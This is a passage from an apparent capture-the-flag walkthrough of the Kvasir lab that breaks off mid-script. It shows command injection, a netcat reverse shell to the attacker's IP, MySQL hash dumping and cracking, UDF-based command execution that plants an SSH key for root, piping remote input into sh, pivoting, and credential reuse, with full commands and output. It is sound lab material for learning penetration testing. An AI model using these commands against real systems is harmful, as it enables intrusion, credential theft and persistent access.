decided to run trusty \u0026lsquo;ol wfuzz on the web service to see if there was anything interesting to reveal:\nroot@kali:~# wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/medium.txt --hc 404 http://192.168.56.102/FUZZ.php ******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ******************************************************** Target: http://192.168.56.102/FUZZ.php Payload type: file,/usr/share/wordlists/wfuzz/general/medium.txt Total requests: 1660 ================================================================== ID Response Lines Word Chars Request ================================================================== 00077: C=302 16 L 34 W 365 Ch \u0026#34; - admin\u0026#34; 00302: C=403 10 L 30 W 294 Ch \u0026#34; - cgi-bin/\u0026#34; 00394: C=403 10 L 30 W 292 Ch \u0026#34; - create\u0026#34; 00455: C=403 10 L 30 W 294 Ch \u0026#34; - descarga\u0026#34; 00457: C=403 10 L 30 W 296 Ch \u0026#34; - descarrega\u0026#34; 00463: C=403 10 L 30 W 298 Ch \u0026#34; - descarregues\u0026#34; 00741: C=200 20 L 44 W 464 Ch \u0026#34; - index\u0026#34; 00894: C=403 10 L 30 W 290 Ch \u0026#34; - load\u0026#34; 00901: C=302 0 L 0 W 0 Ch \u0026#34; - login\u0026#34; 00904: C=302 0 L 0 W 0 Ch \u0026#34; - logout\u0026#34; 00964: C=302 15 L 16 W 168 Ch \u0026#34; - member\u0026#34; 01247: C=200 17 L 39 W 426 Ch \u0026#34; - register\u0026#34; 01331: C=403 10 L 30 W 292 Ch \u0026#34; - select\u0026#34; 01432: C=200 0 L 0 W 0 Ch \u0026#34; - submit\u0026#34; 01556: C=403 10 L 30 W 292 Ch \u0026#34; - update\u0026#34; 01565: C=403 10 L 30 W 293 Ch \u0026#34; - updates\u0026#34; Woa, thats quite a bit of results to work through eh :)\nadmins only want to 302 here Of everything wfuzz revealed to us, admin.php was the most interesting one. Watching Burp as the requests went up and down, I noticed that admin.php would return a HTTP 302 code with a location, along with an actual body:\n  Sweet! I modified the response in Burp to return 200 instead, and removed the Location: header. We now had a new page to work with :)\n  The form hints that we can check the service status of daemons running on the underlying OS, and suggests apache2 as input. I submitted the form with apache2 as the service, and got back a response (that also tried to 302 but I fixed that :D) with a new section Apache2 is running (pid 1330).. This just screams command injection doesn’t it?\ncommand injection In order for me to fuzz this further, I took the request to trusty \u0026lsquo;ol curl. While doing this, I realized that admin.php did no checks to ensure that we are authenticated or anything. We could simply submit service=\u0026lt;payload\u0026gt; as a POST to admin.php and get output:\nroot@kali:~# curl \u0026#39;http://192.168.56.102/admin.php\u0026#39; --data \u0026#39;service=apache2;\u0026#39; \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div align=\u0026#34;center\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;Service Check\u0026lt;/h1\u0026gt; \u0026lt;form name=\u0026#34;service\u0026#34; method=\u0026#34;post\u0026#34; action=\u0026#34;\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;service\u0026#34; id=\u0026#34;service\u0026#34; type=\u0026#34;text\u0026#34; placeholder=\u0026#34;apache2\u0026#34; /\u0026gt;\u0026lt;br /\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;input name=\u0026#34;submit\u0026#34; id=\u0026#34;submit\u0026#34; type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;form action=\u0026#34;logout.php\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Logout\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;pre\u0026gt;Usage: /etc/init.d/apache2 {start|stop|graceful-stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean|status}. \u0026lt;/pre\u0026gt; Entering apache2; as the input, revealed the first step in our command injection. With apache2; as the payload, I figured that the php script was taking our user input and running with the following pseudo code:\n\u0026lt;?php print system(\u0026#34;/etc/init.d/\u0026#34; . $_POST[\u0026#34;service\u0026#34;] . \u0026#34; status\u0026#34;); So, with our payload, we have modified this to run /etc/init.d/apache2; status, which will fail for obvious reasons! A little more fiddling finally got me to a working payload by posting service= as ;echo 'id'; where the single quotes are actually back ticks. (octopress grrr)\nroot@kali:~# curl \u0026#39;http://192.168.56.102/admin.php\u0026#39; --data \u0026#39;service=;echo `id`;\u0026#39; [... snip ...] \u0026lt;pre\u0026gt;uid=33(www-data) gid=33(www-data) groups=33(www-data) \u0026lt;/pre\u0026gt; netcat is our entry into the rabbit hole With the command injection now exploitable, I grabbed some skeleton code that I normally use to try and make these types of command execution vulnerabilities slightly easier to work with. The basic premise is to have the command executed, and the response regex\u0026rsquo;d out. This ended up as the following python script:\n#!/usr/bin/python # Kvasir Command Execution # $ python cmd.py \u0026#34;uname -a\u0026#34; # Command to run: uname -a # # Linux web 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 GNU/Linux import requests import re import sys import os import binascii print \u0026#39;Command to run: %s\u0026#39; % sys.argv[1] # generate 2 random strings so that we can regex out the command output command_start = binascii.b2a_hex(os.urandom(30)) command_end = binascii.b2a_hex(os.urandom(30)) # prepare something that we can regex out params = {\u0026#39;service\u0026#39; : \u0026#39;;echo %s; echo `%s`; echo %s;\u0026#39; % (command_start, sys.argv[1], command_end) } #fetch, ignoring the troll redirect r = requests.post(\u0026#39;http://192.168.56.102/admin.php\u0026#39;, params, allow_redirects=False) #match regex and print print re.findall(r\u0026#39;%s([^|]+)%s\u0026#39; % (command_start, command_end), r.text)[0].replace(\u0026#39;\\n%s\\n\u0026#39; % command_end,\u0026#39;\u0026#39;) So, now I can just run python cmd.py \u0026quot;id\u0026quot; and get the output (the (kvasir) in front of my prompt is my python virtualenv where I installed the requests dependency):\n(kvasir)root@kali:~# python cmd.py \u0026#34;id\u0026#34; Command to run: id uid=33(www-data) gid=33(www-data) groups=33(www-data) And so, initial enumeration was done. Immediately I noticed that this host had 2 network interfaces. 192.168.1.100 and 192.168.2.100. No sign of 192.168.56.102 here\u0026hellip; It also seemed like I would be able to build a netcat shell out of this environment to my attacking host, so I set up a listener with nc -lvp 4444, and connected to it using my cmd.py script python cmd.py \u0026quot;/bin/nc 192.168.56.101 4444 -e /bin/bash\u0026quot;:\nroot@kali:~# nc -lvp 4444 listening on [any] 4444 ... 192.168.56.102: inverse host lookup failed: Unknown server error : Connection timed out connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 53516 id uid=33(www-data) gid=33(www-data) groups=33(www-data) So, in order to make sure we don\u0026rsquo;t lose our place, consider the following simple diagram showing the network paths for gaining first shell access to the host web:\n  The only public presence of the internal network is therefore the originally discovered 192.168.56.102 IP address.\nmy-see-qual as root deserves a slap on the wrist With semi interactive shell access using netcat to web (192.168.1.100), some more enumeration was done. Most importantly, the sources serving the web site that I have exploited to gain a command shell revealed credentials and a host of a MySQL instance. Consider the following extract from member.php:\n\u0026lt;?php session_start(); if (!isset($_SESSION[\u0026#34;member\u0026#34;])) { header(\u0026#34;Location: index.php\u0026#34;); } $user = $_SESSION[\u0026#34;username\u0026#34;]; mysql_connect(\u0026#34;192.168.2.200\u0026#34;, \u0026#34;webapp\u0026#34;, \u0026#34;webapp\u0026#34;) or die(mysql_error()); mysql_select_db(\u0026#34;webapp\u0026#34;) or die(mysql_error()); $query = \u0026#34;SELECT dob FROM users WHERE username=\u0026#39;$user\u0026#39;\u0026#34;; $result = mysql_query($query) or die(mysql_error()); ?\u0026gt;[... snip ...] So mysql access with webapp:webapp at 192.168.2.200. Lets test this and check out the server. I executed commands using mysql -e on the netcat shell that just spawned:\nmysql -uwebapp -pwebapp -h 192.168.2.200 -e \u0026#39;show grants;\u0026#39; Grants for webapp@192.168.2.100 GRANT SELECT, INSERT ON *.* TO \u0026#39;webapp\u0026#39;@\u0026#39;192.168.2.100\u0026#39; IDENTIFIED BY PASSWORD \u0026#39;*BF7C27E734F86F28A9386E9759D238AFB863BDE3\u0026#39; GRANT ALL PRIVILEGES ON `webapp`.* TO \u0026#39;webapp\u0026#39;@\u0026#39;192.168.2.100\u0026#39; So I can select anywhere. Nice :)\nmysql -uwebapp -pwebapp -h 192.168.2.200 -e \u0026#39;use webapp; show tables;\u0026#39; Tables_in_webapp todo users mysql -uwebapp -pwebapp -h 192.168.2.200 -e \u0026#39;use webapp; select * from todo;\u0026#39; task stop running mysql as root A table called todo exists, with a string stop running mysql as root. That was the first hint and immediately had me thinking about MySQL UDF\u0026rsquo;s, one which could allow us to run system commands. However, in order to get a UDF loaded, I will need a dba level account, one which I don\u0026rsquo;t have yet. From the previous grants output, I can see that I am allowed to query any table on the database server, so lets get some administrative hashes:\nmysql -uwebapp -pwebapp -h 192.168.2.200 -e \u0026#39;use mysql; select DISTINCT User,Password from user;\u0026#39; User Password root *ECB01D78C2FBEE997EDA584C647183FD99C115FD debian-sys-maint *E0E0871376896664A590151D348CCE9AA800435B webapp *BF7C27E734F86F28A9386E9759D238AFB863BDE3 As a side note, further enumeration of the PHP sources and MySQL table users showed that if we injected SQL on the registration page to add a extra 1, we would be considered an admin, and would have also seen the admin page that is vulnerable to the already found command injection.\ncracking root\u0026rsquo;s MySQL password Now that I had the password hash for the root user, I proceeded to try and crack it. For this I used hashcat with the ever famous rockyou wordlist:\n# first, echo the hash to a file root@kali:~# echo \u0026#34;ECB01D78C2FBEE997EDA584C647183FD99C115FD\u0026#34; \u0026gt; db.root # next, we tell hash cat the type of hash we have and wait a few seconds :) root@kali:~# hashcat -m 300 db.root /usr/share/wordlists/rockyou.txt This copy of hashcat will expire on 01.01.2015. Please upgrade to continue using hashcat. Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size... Added hashes from file db.root: 1 (1 salts) Activating quick-digest mode for single-hash NOTE: press enter for status-screen ecb01d78c2fbee997eda584c647183fd99c115fd:coolwater All hashes have been recovered Input.Mode: Dict (/usr/share/wordlists/rockyou.txt) Index.....: 1/5 (segment), 3627099 (words), 33550339 (bytes) Recovered.: 1/1 hashes, 1/1 salts Speed/sec.: - plains, 3.27M words Progress..: 281260/3627099 (7.75%) Running...: --:--:--:-- Estimated.: 00:00:00:01 Started: Sun Nov 9 14:07:14 2014 Stopped: Sun Nov 9 14:07:14 2014 The password for the MySQL root user is therefore coolwater:\nmysql -uroot -pcoolwater -h 192.168.2.200 -e \u0026#39;show grants;\u0026#39; Grants for root@192.168.2.100 GRANT ALL PRIVILEGES ON *.* TO \u0026#39;root\u0026#39;@\u0026#39;192.168.2.100\u0026#39; IDENTIFIED BY PASSWORD \u0026#39;*ECB01D78C2FBEE997EDA584C647183FD99C115FD\u0026#39; WITH GRANT OPTION loading the UDF remotely With a full dba level account, it was time to get the UDF loaded. My initial approach for this failed pretty badly to start off with.\nI grabbed a copy of a do_system() UDF that I have previously used successfully from here, called raptor_udf.c. Considering the host operating system was 64bit, and my attacking machine was 32bit, I opted to compile the UDF on the web host. Compilation was done on the web host with:\ngcc -g -c raptor_udf.c -fPIC gcc -g -shared -Wl,--soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc This resulted in a raptor_udf.so file, which was ready to be uploaded to the server. Now, the word uploading sounds trivial, however its not. I need to know where to first. For this, I enumerate the MySQL plugin_dir:\nmysql -uroot -pcoolwater -h 192.168.2.200 -e \u0026#39;select @@plugin_dir;\u0026#39; @@plugin_dir /usr/lib/mysql/plugin/ So this means I need to write the udf to /usr/lib/mysql/plugin/raptor_udf.so. Fair enough. But how do I write this? Well there are many approaches to this. One is to use  --local-infile=1 as a flag on the local mysqlclient (needs to be allowed server side too), to actually upload the local file to wherever (a table in our case) and then to a file via INTO DUMPFILE. The other option is to simply convert the content to hex, and run SELECT 0x + \u0026lt;CONTENT AS HEX\u0026gt; + INTO DUMPFILE /usr/lib/mysql/plugin/raptor_udf.so.\nI opted for the content encoding as hex and generated a xxd output of the compiled raptor_udf.so. With this uploaded, I came to the section where the function was to be created, and this is where I got stuck. I would simply get a error along the likes of Undefined Symbol \u0026quot;do_system\u0026quot; in raptor_udf.so. :\\\nEventually, I opted to find a precompiled 64bit .so to upload, and found one in the sqlmap repository. I downloaded this and converted it to hex using xxd. I then created the following file with the mysql commands to run on the web host from my attacking machine:\nroot@kali:~# cat load_udf.sh touch log mysql -uroot -pcoolwater -h 192.168.2.200 -e \u0026#39;use mysql; select 0x7f454 [... snip ... but the this the output of xxd -p lib_mysqludf_sys.so ] 0000000000000 into dumpfile \u0026#34;/usr/lib/mysql/plugin/raptor_udf.so\u0026#34;;\u0026#39; 2\u0026gt;\u0026gt; log mysql -uroot -pcoolwater -h 192.168.2.200 -e \u0026#39;create function sys_exec returns integer soname \u0026#34;raptor_udf.so\u0026#34;;\u0026#39; 2\u0026gt;\u0026gt; log mysql -uroot -pcoolwater -h 192.168.2.200 -e \u0026#39;use mysql; select * from mysql.func;\u0026#39; 2\u0026gt;\u0026gt; log # this adds me a SSH key to roots authorized keys using the command execution udf we have prepared mysql -uroot -pcoolwater -h 192.168.2.200 -e \u0026#39;select sys_exec(\u0026#34;echo \\\u0026#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPzHgBKct5VjcxsoGfzL/g2XfOk6k6vhHxS4V1C4x0483V29E5OhEDSW/3pfJVwv9m/BW1aXJe5sLO3G3kn0VhgEen+YHShXu09cv3ROu98krlwYcmzyMyfZdwU0D2DbIJjFKWaqEafIcLx01vmFozcxk3C1bhPdo6mBuu2XGWJx6OpqXYnnRGebXdBqKT9b5JmEVn/W8Vu9F68nqmIYyk3hBlydwbOkevh/HfsNm50pd7ZZPK/mpAdZxYYxfBcvUQcWmgtw49ihTAJGh5KZJM/pL4xCw/meavFXy01SX7TZNAmrxcn6FDcXQJ6DC+TUMWXigxcCwntKxSHChyTiDB\\\u0026#34; \u0026gt; /root/.ssh/authorized_keys\u0026#34;)\u0026#39; 2\u0026gt;\u0026gt; log With this file ready, I opened a netcat port to pipe it to, and read it on web:\n# on the attacking machine, I opened netcat with my mysql commands root@kali:~# nc -lvp 4444 \u0026lt; load_udf.sh listening on [any] 4444 ... # then on the original netcat shell I have, read it timeout 3 nc 192.168.56.101 4444 | sh name ret dl type sys_exec 2 raptor_udf.so function sys_exec(\u0026#34;echo \\\u0026#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPzHgBKct5VjcxsoGfzL/g2XfOk6k6vhHxS4V1C4x0483V29E5OhEDSW/3pfJVwv9m/BW1aXJe5sLO3G3kn0VhgEen+YHShXu09cv3ROu98krlwYcmzyMyfZdwU0D2DbIJjFKWaqEafIcLx01vmFozcxk3C1bhPdo6mBuu2XGWJx6OpqXYnnRGebXdBqKT9b5JmEVn/W 0 The public ssh key is sourced from a new key pair I generated for Kvasir. So, with that run we get a exit code of 0, indicating that it was successful. I specify the timeout command so that the nc session opened from within another nc session will exit and we don’t lose the shell. Pressing ^C will kill the whole session and not just the netcat I just run :)\nssh to db host With all that done, I have my public key for the root user added, and I should be able to ssh to it. There is one interesting hurdle though, how do I get to 192.168.2.200\u0026rsquo;s port 22? :)\nFor that, I decided to look at netcat port forwarding! But first, lets read some man pages:\n#from nc(1) OPTIONS -c string specify shell commands to exec after connect (use with caution). \u0026ldquo;use with caution\u0026rdquo;. I like it already. Ok so I can open a netcat listener, which will open another one on connect listening on a new port. We can then connect to this listener, opening another connection to the ssh server we want to connect to, effectively forwarding the port. Clear as mud!\n  Lets see this in action. First I setup the initial listener on the attacking machine:\n# listen on tcp/4444, re-listening on tcp/222 on a new connection root@kali:~# nc -lvp 4444 -c \u0026#34;nc -lvp 222\u0026#34; listening on [any] 4444 ... With the listener setup, lets issue a new nc command in the initial shell that I got on web, connecting the dots:\nnc 192.168.56.101 4444 -c \u0026#34;nc 192.168.2.200 22\u0026#34; When this runs, the initial listener will see the new connection, and I should have the tcp/22 of 192.168.2.200 now forwarded locally:\nroot@kali:~# nc -lvp 4444 -c \u0026#34;nc -lvp 222\u0026#34; listening on [any] 4444 ... # connection comes in from 192.168.1.100 192.168.56.102: inverse host lookup failed: Unknown server error : Connection timed out connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 53870 listening on [any] 222 ... Lets take a look at a updated network diagram, detailing where I am in the network now. The new port forward is denoted in red:\n  Lets try and SSH in with the key pair that I generated and loaded using the MySQL UDF:\nroot@kali:~# ssh -D 8000 root@127.0.0.1 -p222 -i kvasir_key Linux db 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Nov 9 07:13:17 2014 from 192.168.2.100 root@db:~# I added the -D option so that I may have a socks proxy to work with should any further tunneling be required. This means now that with the SSH session built, I have a almost direct connection to the db (192.168.2.200) host, as denoted in green below:\n  8-)\nnot exactly nsa level spying but heh Initial enumeration revealed that this host (db) had 2 network interfaces. One with IP 192.168.2.200 (the one I came in from), and another with IP 192.168.3.200. There were also 2 entries in /etc/hosts about 2 hosts in the 3.x network:\nroot@db:~# cat /etc/hosts # 192.168.3.40 celes # 192.168.3.50 terra [... snip ...] The host was also running a mysql server (the one we pwnd), and a pure-ftpd server:\nroot@db:~# ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 Nov08 ? 00:00:00 init [3] root 1242 1 0 Nov08 ? 00:00:00 dhclient -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0 root 1408 1 0 Nov08 ? 00:00:00 /usr/sbin/sshd root 1434 1 0 Nov08 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe root 1761 1434 0 Nov08 ? 00:00:37 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --pid-file=/var/run/mysqld/mysqld root 1762 1434 0 Nov08 ? 00:00:00 logger -t mysqld -p daemon.error root 1861 1 0 Nov08 ? 00:00:00 pure-ftpd (SERVER) [... snip ...] A interesting file was in /root/.words.txt, which contained some random words, some of which i recognized as nicks in #vulnhub on freenode.\nroot@db:~# head /root/.words.txt borne precombatting noncandescent cushat lushness precensure romishness nonderivable overqualification superkojiman And finally, a troll flag :D\nroot@db:~# cat /root/flag This is not the flag you\u0026#39;re looking for... :p This was the first time I was really stuck on Kvasir. After quite a bit of poking around, I noticed a user celes in /etc/pure-ftpd/pureftpd.passwd, with a password that I was not able to crack. The host itself did not have this user configured either. I was starting to think that this server has nothing really to offer in the form of post exploitation and started planning exploration of neighboring hosts and their network services.\nAt one stage, I was checking to see what network activity was present on the interfaces, of which eth0 had my SSH session, and eth1 was quiet. At least, until I was about to close the tcpdump I had this sudden burst of packets:\nroot@db:~# tcpdump -i eth1 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes 13:19:01.355970 IP 192.168.3.40.36425 \u0026gt; 192.168.3.200.ftp: Flags [S], seq 2471029534, win 14600, options [mss 1460,sackOK,TS val 13092832 ecr 0,nop,wscale 5], length 0 13:19:01.355988 IP 192.168.3.200.ftp \u0026gt; 192.168.3.40.36425: Flags [S.], seq 2507516314, ack 2471029535, win 14480, options [mss 1460,sackOK,TS val ack 535, win 490, options [nop,nop,TS val 13092837 ecr 13092836], length 0 [... snip ...] 13:19:01.378604 IP 192.168.3.200.ftp \u0026gt; 192.168.3.40.36425: Flags [P.], seq 535:548, ack 53, win 453, options [nop,nop,TS val 13092837 ecr 13092837], length 13 13:19:01.378631 IP 192.168.3.40.36425 \u0026gt; 192.168.3.200.ftp: Flags [R], seq 2471029587, win 0, length 0 ^C 29 packets captured 29 packets received by filter 0 packets dropped by kernel I changed the command to add the -X flag as this looked like FTP traffic flowing over the interface (you haven\u0026rsquo;t forgotten the ftp server yet have you?).\n13:25:01.387981 IP 192.168.3.200.ftp \u0026gt; 192.168.3.40.36437: Flags [P.], seq 321:359, ack 13, win 453, options [nop,nop,TS val 13182840 ecr 13182839], length 38 0x0000: 4510 005a 7e22 4000 4006 342b c0a8 03c8 E..Z~\u0026#34;@.@.4+.... 0x0010: c0a8 0328 0015 8e55 1bf0 5a96 015a 5499 ...(...U..Z..ZT. 0x0020: 8018 01c5 42a1 0000 0101 080a 00c9 2778 ....B.........\u0026#39;x 0x0030: 00c9 2777 3333 3120 5573 6572 2063 656c ..\u0026#39;w331.User.cel 0x0040: 6573 204f 4b2e 2050 6173 7377 6f72 6420 es.OK..Password. 0x0050: 7265 7175 6972 6564 0d0a required.. 13:25:01.388050 IP 192.168.3.40.36437 \u0026gt; 192.168.3.200.ftp: Flags [P.], seq 13:32, ack 359, win 490, options [nop,nop,TS val 13182840 ecr 13182840], length 19 0x0000: 4500 0047 73fe 4000 4006 3e72 c0a8 0328 E..Gs.@.@.\u0026gt;r...( 0x0010: c0a8 03c8 8e55 0015 015a 5499 1bf0 5abc .....U...ZT...Z. 0x0020: 8018 01ea a5ae 0000 0101 080a 00c9 2778 ..............\u0026#39;x 0x0030: 00c9 2778 5041 5353 2069 6d32 3242 4634 ..\u0026#39;xPASS.im22BF4 0x0040: 4858 6e30 310d 0a HXn01.. A cleartext username and password? Well aint that just handy! :D Just to confirm I wrote a pcap to disk with the -W flag, transferred it to my attacking machine and opened it in Wireshark so that I can inspect the whole FTP conversation.\n  It seems like celes is simply logging in, getting a directory listing, and logging out.\nTaking a long shot, I wondered if the age old problem of password reuse is applicable here, so I tried to ssh in to 192.168.3.40 (the ip the FTP conversation was coming from) using celes:im22BF4HXn01:\nroot@db:~# ssh celes@192.168.3.40 celes@192.168.3.40\u0026#39;s password: # entered im22BF4HXn01 Linux dev1 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. Last login: Thu Sep 4 09:20:00 2014 celes@dev1:~$ finding terras secret Ok lets take a moment and make sure I know where I am in the network. The newly accessed server is denoted in red:\n  I don’t have connectivity directly to 192.168.3.40 at the moment, but if I really need that I can arrange it. For now, lets see what we have on dev1.\nFirst, I find the sneaky ftp session script getLogs.py, that does exactly that which I saw in the packet captures. Next, I find a message in celes mailbox:\nceles@dev1:~$ cat /var/spool/mail/celes Return-path: \u0026lt;celes@localhost\u0026gt; Received: from celes by localhost with local (Exim 4.80) (envelope-from \u0026lt;celes@localhost\u0026gt;) id 1XHczw-0000V2-8y for celes@127.0.0.1; Wed, 13 Aug 2014 19:10:08 +0100 Date: Wed, 13 Aug 2014 19:10:08 +0100 To: celes@127.0.0.1 Subject: Reminder User-Agent: Heirloom mailx 12.5 6/20/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: \u0026lt;E1XHczw-0000V2-8y@localhost\u0026gt; From: celes@localhost Terra sent me kvasir.png and challenged me to solve the stupid little puzzle she has running on her machine... *sigh* The message reveals that Terra has a puzzle on her machine (192.168.3.50 from /etc/hosts on the db server?). She also mentions kvasir.png, which happens to be in celese home directory:\nceles@dev1:~$ ls -lah kvasir.png -rw-r--r-- 1 celes celes 103K Sep 3 22:16 kvasir.png Lastly, the .bash_history for celese has a entry stepic --help. stepic is a steganography tool. So, it seemed pretty clear what needs to be done here. My guess was that kvasir.png has a piece of the puzzle that is on Terra\u0026rsquo;s machine. So, I converted the kvasir.png image to hex, and copy pasted the output on my attacking machine into a text file and converted it back to a image using xxd -r -p kvasir.png.xxd \u0026gt; kvasir.png.\n  getting stepic to play nice With the image ready, I searched for stepic using pip in my virtual env and installed it:\n(kvasir)root@kali:~# pip install stepic Downloading/unpacking stepic Downloading stepic-0.4%7ebzr.tar.gz Running setup.py egg_info for package stepic Installing collected packages: stepic Running setup.py install for stepic changing mode of build/scripts-2.7/stepic from 644 to 755 changing mode of /root/kvasir/bin/stepic to 755 Successfully installed stepic Cleaning up... However, stepic was not just a case of plug and play for me. NOPE:\n(kvasir)root@kali:~# stepic Traceback (most recent call last): File \u0026#34;/root/kvasir/bin/stepic\u0026#34;, line 24, in \u0026lt;module\u0026gt; import Image ImportError: No module named Image Long story short, a small hack and installation of another dependency finally got it working for me:\n(kvasir)root@kali:~# pip install pillow Downloading/unpacking pillow Downloading Pillow-2.6.1.tar.gz (7.3Mb): 7.3Mb downloaded Running setup.py egg_info for package pillow Single threaded build, not installing mp_compile: 1 processes [... snip ...] *** OPENJPEG (JPEG2000) support not available --- ZLIB (PNG/ZIP) support available [... snip ...] Successfully installed pillow Cleaning up... The final hack was to change the installed stepic bin at /root/kvasir/bin/stepic line 24 from import Image to from PIL import Image. Finally, stepic was working fine.\nfinding the secret With stepic up and running, I was finally able to run it against the image kvasir.png:\n(kvasir)root@kali:~# stepic --decode --image-in=kvasir.png --out=out # check the file type we got out root@kali:~# file out out: ASCII text, with very long lines, with no line terminators # check the output we got root@kali:~# cat out 89504e470d0a1a0a0000000d494844520000012200000122010300000067704df500000006504c5 445ffffff00000055c2d37e00000104494441540899ed98c90dc32010459152804b72eb2ec90544 22304bc089655f180ec9fb0730f07cfa9a0552420821f43fcaa6674aeb5e96dbe23b1b5434a58be 559bf1e59befa03a848aa5ab22de690f2d530a8895473086a365500e7a1265132b5b3bbfc05358e 7a57640b919bba0d358eeab55c9c418da7cc0df1a576a2792fa561ad035434a5920b808588d974e 215d4584acff4065626ffe9db47a8e194eec805a00d7621830aa6acffd40c95d5a6fa27d404cae5 55e13475410550e6cca113ed72145424a56ee8ab4f8989ecb5196a02d5bdfa2477e83333410553d 97ba093cc04154c89a439ba880ea881944c2d3aea0a6a0e75acc8528c4550e1144208a15fd70b88 df9bb4ae0a3dc20000000049454e44ae426082 At this stage I was pretty convinced my hacks to get stepic to work failed. I am also not really sure what to expect as output so that made it even harder to know if I had something to work with there.\nClose study of the output string though got me started in trying to determine what this was that I had. My method involved me invoking a python shell and trying a bunch of decode() methods on it. I just took the first few characters of the output to play with as some decodings need specific string lengths etc:\nroot@kali:~# python Python 2.7.3 (default, Mar 14 2014, 11:57:14) [GCC 4.7.2] on linux2 Type \u0026#34;help\u0026#34;, \u0026#34;copyright\u0026#34;, \u0026#34;credits\u0026#34; or \u0026#34;license\u0026#34; for more information. \u0026gt;\u0026gt;\u0026gt; \u0026#34;89504e470d0a1a0a000000\u0026#34;.decode(\u0026#34;hex\u0026#34;) \u0026#39;\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\u0026#39; \u0026gt;\u0026gt;\u0026gt; Decoding it as hex revealed the part I needed to see\u0026hellip; PNG! So this string was a hex encoded PNG image (unless thats a troll too\u0026hellip;). I took out and reversed it using xxd -r -p:\nroot@kali:~# xxd -p -r out \u0026gt; kvasir2.png root@kali:~# file kvasir2.png kvasir2.png: PNG image data, 290 x 290, 1-bit colormap, non-interlaced Lets see what the image looks like:\n  A QR code! I fetched my phone and scanned it, revealing the string Nk9yY31hva8q. Great!\u0026hellip; I think. Wait, what does this even mean? I got stumped again into wondering what this arb string is for that I have. It was not the root password for dev1 either.\nplaying Terra\u0026rsquo;s game Without being able to place the string found in the QR code, I stepped one step back and decided to check out Terra\u0026rsquo;s game as per the email. From the /etc/hosts on db, I saw a comment for terra as 192.168.3.50. Using the SSH socks proxy on tcp/8000 I setup when I setup the SSH session to 192.168.2.200, I nmapped 192.168.3.50.\n# /etc/proxychains.conf has line # socks5 127.0.0.1 8000 # scans will appear to be coming from 192.168.3.200 for # 192.168.3.50 root@kali:~# proxychains nmap -sT 192.168.3.50 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 6.46 ( http://nmap.org ) at 2014-11-09 16:31 SAST Nmap scan report for 192.168.3.50 Host is up (0.0012s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 4444/tcp open krb524 Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds Well tcp/4444 looks interesting! Lets have a look!\nroot@kali:~# proxychains nc 192.168.3.50 4444 ProxyChains-3.1 (http://proxychains.sf.net) Hello Celes \u0026amp; Welcome to the Jumble! Solve:indrssoses Solve:roneb bob Solve:abaerrbs [... snip ...] Solve:iepasncm Score: 0 Time: 22.71 secs Just a bit embarrasing really... Don\u0026rsquo;t think I did too well there! :D Not to fear. I recognized some of the strings after the Solve: as ones that are scrambled from the previously found .words.txt file. So, my guess here was that I had to write a small script that will connect to the socket and answer with the unscrambled versions from .words.txt. With the .words.txt file locally available, I slapped together something to try and do this:\n#!/usr/bin/python # Kvasir Terra Puzzle Solver import sys import socket import base64 # read the words.txt we got into a list with open(\u0026#39;words.txt\u0026#39;) as f: words = f.read().splitlines() # connection to the game sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((\u0026#39;192.168.3.50\u0026#39;, 4444)) # start processing the lines while True: # receive a frame large enough frame = sock.recv(150) # check that its a question frame if \u0026#39;Solve\u0026#39; not in frame: print \u0026#34;[!] \u0026#39;Solve\u0026#39; not in frame. Game over?\u0026#34; break # split the frame with : frame = frame.split(\u0026#39;:\u0026#39;) if len(frame) \u0026lt; 2: print \u0026#34;[!] Was unable to split by :. Game over?\u0026#34; break question = frame[1].strip() # @barrebas suggested a length check too to increase probability :) result = [s for s in words if not s.strip(question) and len(question) == len(s)] #result = [s for s in words if not s.strip(question)] if len(result) \u0026lt; 1: print \u0026#34;[!] Was unable to match anything to %s\u0026#34; % question continue answer = result[0].strip() print \u0026#34;[+] Matched %sto %s\u0026#34; % (question, answer) sock.send(answer) # did we win? \\:D/ if \u0026#39;You\\\u0026#39;re a winner\u0026#39; in frame: print \u0026#34;[+] We won!\u0026#34; # read the rest of the socket output frame += 